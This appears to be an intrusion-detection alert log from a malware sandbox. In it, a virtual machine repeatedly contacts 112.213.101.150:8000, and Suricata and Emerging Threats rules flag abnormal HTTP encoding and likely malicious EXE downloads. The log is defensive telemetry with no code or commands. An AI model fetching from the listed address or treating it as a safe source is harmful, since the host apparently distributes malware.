TCP 192.168.56.101:49440 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49461 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49401 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49448 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49358 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49469 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49409 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49451 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49480 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49364 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49427 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49374 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49459 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49431 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49382 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49432 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49465 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49384 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49466 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49444 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49296 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49472 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49389 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49450 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49352 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49491 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49300 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49452 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49402 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49492 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49311 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49470 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49496 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49353 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49478 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49503 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49354 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49482 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49518 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49366 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49407 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49483 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49319 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49370 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49408 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49484 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49495 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49320 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49380 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49534 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49497 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49328 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49490 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49381 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49500 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49547 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49334 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49391 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49505 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49508 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49550 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49336 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49511 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49396 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49556 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49513 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49337 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49520 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49416 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49398 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49514 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49342 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49400 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49418 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49522 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49345 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49519 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49526 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49412 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49422 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49347 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49521 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49543 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49435 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49414 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49348 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49545 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49436 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49361 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49572 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49417 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49530 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49578 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49365 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49420 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49375 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49581 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49424 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49535 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49376 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49443 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49425 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49378 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49390 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49445 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49428 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49392 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49453 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49430 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49394 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49456 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49586 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49403 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49551 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49592 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49405 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49442 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49560 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49406 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49463 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49446 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49562 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49454 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49411 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49566 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49464 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49571 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49415 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49467 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49538 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49421 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49473 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49476 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49539 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49423 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49594 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49429 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49555 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49481 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49604 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49477 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49579 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49433 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49569 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49615 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49574 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49488 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49439 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49580 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49479 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49621 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49441 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49583 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49489 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49485 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49585 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49486 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49457 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49589 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49487 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49502 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49582 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49622 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49462 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49591 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49626 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49593 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49512 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49493 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49468 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49587 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49499 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49528 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49602 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49471 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49504 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49608 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49629 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49474 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49536 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49611 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49630 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49595 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49641 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49598 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49542 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49475 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49650 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49613 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49507 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49599 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49494 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49549 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49509 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49617 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49498 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49600 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49655 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49552 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49501 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49668 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49603 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49515 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 112.213.101.150:8000 -> 192.168.56.101:49506 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49554 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49510 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 192.168.56.101:49607 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
TCP 112.213.101.150:8000 -> 192.168.56.101:49680 2022050 ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 A Network Trojan was detected
TCP 192.168.56.101:49619 -> 112.213.101.150:8000 2221033 SURICATA HTTP Request abnormal Content-Encoding header Generic Protocol Command Decode
